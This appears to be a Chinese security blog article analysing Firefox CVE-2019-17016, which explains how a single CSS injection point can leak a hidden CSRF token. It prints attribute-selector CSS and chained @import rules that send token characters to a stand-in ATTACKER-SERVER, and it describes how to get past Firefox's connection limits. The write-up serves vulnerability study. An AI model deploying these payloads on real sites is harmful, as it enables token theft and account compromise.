CVE-2019-17016 Firefox浏览器漏洞:使用单个注入点提取CSS数据
摘要:Firefox浏览器中发现了一个安全漏洞。此漏洞为CVE-2019-17016。在分析此安全漏洞时发现了一种新技术,该技术使用单个注入点从Firefox浏览器中提取CSS数据。
Firefox浏览器中发现了一个安全漏洞。此漏洞为CVE-2019-17016。在分析此安全漏洞时发现了一种新技术,该技术使用单个注入点从Firefox浏览器中提取CSS数据。
基本和现有技术
在我们的演示示例中,假设我们想在<input>元素中获取CSRF令牌:
<input type="hidden" name="csrftoken" value="SOME_VALUE">
可能是由于内容安全策略,我们无法使用脚本来实现此目的,因此我们尝试查找基于样式的注入点。通常,我们选择使用属性选择器:
input[name='csrftoken'][value^='a'] {
background: url(//ATTACKER-SERVER/leak/a);
}
input[name='csrftoken'][value^='b'] {
background: url(//ATTACKER-SERVER/leak/b);
}
...
input[name='csrftoken'][value^='z'] {
background: url(//ATTACKER-SERVER/leak/z);
}
如果在此处部署CSS规则,则攻击者可以获取HTTP请求,然后提取令牌的第一个字符。接下来,攻击者需要准备另一个样式表,该样式表需要包含被盗的第一个字符:
input[name='csrftoken'][value^='aa'] {
background: url(//ATTACKER-SERVER/leak/aa);
}
input[name='csrftoken'][value^='ab'] {
background: url(//ATTACKER-SERVER/leak/ab);
}
...
input[name='csrftoken'][value^='az'] {
background: url(//ATTACKER-SERVER/leak/az);
}
此时,攻击者需要在目标页面中重新加载<iframe>以提供后续样式表。
在2018年,Pepe Vila提供了递归导入CSS的功能,以在Chrome浏览器中实现单注入点利用技术。在2019年,Nathanial Lattimer(@d0nutptr)提出了一种基于该技术的新的改进解决方案。本文中的这项技术更适合Fir
efox浏览器的情况。
在第一次注入中,我们需要使用很多import:
@import url(//ATTACKER-SERVER/polling?len=0);
@import url(//ATTACKER-SERVER/polling?len=1);
@import url(//ATTACKER-SERVER/polling?len=2);
...
该技术的工作原理如下:
首先,只有第一个@import会在开始时返回样式表,其他语句处于连接阻塞状态。此时,第一个@import返回目标样式表,其中包含令牌的第一个字符。接下来,当泄漏的第一个令牌到达攻击者的服务器端ATTACKER-SERV
ER时,第二个@import将停止阻止并返回包含令牌第一个字符的样式表,然后尝试获取第二个字符。最后,当第二个泄漏的字符到达攻击者的服务器端攻击服务器时,第三个@import将停止阻止...依此类推。
该技术之所以有效,是因为Chrome将异步处理@import,因此当任何@import停止阻止时,Chrome会立即解析该语句并将其应用于执行。
Firefox和样式表处理
与Chrome相比,Firefox处理样式表的方式完全不同。首先,Firefox同步处理样式表。因此,当样式表中有多个@import时,仅在所有@import处理完毕后才应用CSS规则。例如:
<style>
@import '/polling/0';
@import '/polling/1';
@import '/polling/2';
</style>
假设当第一个@import返回CSS规则时,页面背景将设置为蓝色,随后的@import将处于阻塞状态。该页面在Chrome中立即变为蓝色,但在Firefox中什么也没有发生。
此时,我们可以将所有@import放在单独的<style>元素中:
<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>
在上面的代码中,Firefox将分别处理所有样式表。此时,Firefox中的页面将立即变为蓝色,其他@imports将在后台处理。
但是这里还有另一个问题,例如我们想要窃取包含10个字符的令牌:
<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>
...
<style>@import '/polling/10';</style>
Firefox将立即将10个@imports排队。在处理完第一个@import之后,Firefox将使另一个带有已知字符的请求排队。问题是该请求被追加到该行的末尾。默认情况下,浏览器只能与同一服务器建立六个并发链接。因此,具有已知字符的请求将永远不会到达目标服务器,因为该服务器已经具有六个阻塞链接,此时将发生死锁。
解决方案
六个并发链接的限制由TCP层确定,因此单个服务器只能同时具有六个TCP链接。HTTP/2的优点之一是它通过单个链接支持多个HTTP请求(即,多路复用),从而大大提高了网络性能。
但是,Firefox对单个HTTP/2连接的并发请求数也有限制。默认限制为100。如果需要使用更多并发链接,则需要使用其他主机名进行设置,并强制Firefox创建第一个TCP链接。
例如,如果我们创建100个对https://localhost:3000的请求,然后创建50个对https://127.0.0.1:3000的请求,则Firefox将创建两个TCP链接。
技术的运用
技术使用场景如下:
1.该代码是基于HTTP / 2实现的;
2.“/polling/:session/:index”节点将返回CSS并泄漏“:index”字符。 在前一个请求成功泄漏“:indx
-1”字符之前,该请求将被阻止。其中,“:session”路径参数用于区分多种攻击。
3.通过“/leak/:session/:value”节点获得完整的令牌,其中“:value”是获得的完整令牌值。
4.为了强制Firefox启动到同一服务器的两个TCP链接,此处使用了两个节点,https://localhost:3000和https://127.0.0.1:3000。
5.使用“/generate”节点生成示例代码。
相关热词搜索:CVE-2019-17016 Firefox浏览器漏洞 单个注入点 提取CSS 网络安全公司
上一篇:CVE-2020-9373栈溢出漏洞分析:存在Netgear R6400 固件版本upnpd中,向udp 1900端口发送构造的ssdp数据包,可导致DOS或RCE。
下一篇:CVE-2019-19781漏洞分析:Citrix ADC和Citrix Gateway远程执行代码(RCE)高风险漏洞,Citrix设备的入侵控制以及对内网资源访问获取
人机验证(Captcha)绕过方法:使用Chrome开发者工具在目标网站登录页面上执行简单的元素编辑,以实现Captcha绕过
牛创网络: " 人机身份验证(Captcha)通常显示在网站的注册,登录名和密码重置页面上。 以下是目标网站在登录页面中排列的验证码机制。 从上图可以
2020-01-26 12:44:09 )8872( 亮了
自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
牛创网络: "自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
2020-01-30 14:04:47 )6288( 亮了
Grafana CVE-2020-13379漏洞分析:重定向和URL参数注入漏洞的综合利用可以在任何Grafana产品实例中实现未经授权的服务器端请求伪造攻击SSRF
牛创网络: "在Grafana产品实例中,综合利用重定向和URL参数注入漏洞可以实现未经授权的服务器端请求伪造攻击(SSRF)。该漏洞影响Grafana 3 0 1至7 0 1版本。
2020-08-12 14:26:44 )4301( 亮了
Nginx反向代理配置及反向代理泛目录,目录,全站方法
牛创网络: "使用nginx代理dan(sui)是http响应消息写入服务地址或Web绝对路径的情况。 写一个死的服务地址是很少见的,但它偶尔也会发生。 最棘手的是写入web绝对路径,特别是如果绝对路径没有公共前缀
2019-06-17 10:08:58 )3858( 亮了
fortify sca自定义代码安全扫描工具扫描规则(源代码编写、规则定义和扫描结果展示)
牛创网络: "一般安全问题(例如代码注入漏洞),当前fortify sca规则具有很多误报,可通过规则优化来减少误报。自带的扫描规则不能检测到这些问题。 需要自定义扫描规则,合规性角度展示安全风险。
2020-02-12 10:49:07 )3505( 亮了
整理几款2020年流行的漏洞扫描工具
牛创网络: "漏洞扫描器就是确保可以及时准确地检测信息平台基础架构的安全性,确保业务的平稳发展,业务的高效快速发展以及公司,企业和国家 地区的所有信息资产的维护安全。
2020-08-05 14:36:26 )2536( 亮了
微擎安装使用技巧-微擎安装的时候页面显示空白是怎么回事?
牛创网络: "我们在公众号开发中,有时候会用到微擎,那我们来看一下微擎安装的时候页面显示空白是怎么回事吧
2019-06-08 15:34:16 )2261( 亮了
渗透测试:利用前端断点拦截和JS脚本替换对前端加密数据的修改
牛创网络: " 本文介绍的两种方法,虽然断点调试比JS脚本代码替换更容易,但是JS脚本代码替换方法可以实现更强大的功能,测试人员可以根据实际需要选择适当的测试方法
2020-01-07 09:34:42 )1995( 亮了
从工业界到学界盘点SAS与R优缺点比较
牛创网络: "虽然它在业界仍然由SAS主导,但R在学术界广泛使用,因为它的免费开源属性允许用户编写和共享他们自己的应用程序 然而,由于缺乏SAS经验,许多获得数据分析学位的学生很难找到工作。
2019-07-13 22:25:29 )1842( 亮了
41款APP侵犯用户隐私权:QQ,小米,搜狐,新浪,人人均被通报
牛创网络: "随着互联网的不断发展,我们进入了一个时代,每个人都离不开手机。 但是,APP越来越侵犯了用户隐私权。12月19日,工业和信息化部发布了《关于侵犯用户权益的APP(第一批)》的通知。
2019-12-20 11:28:14 )1775( 亮了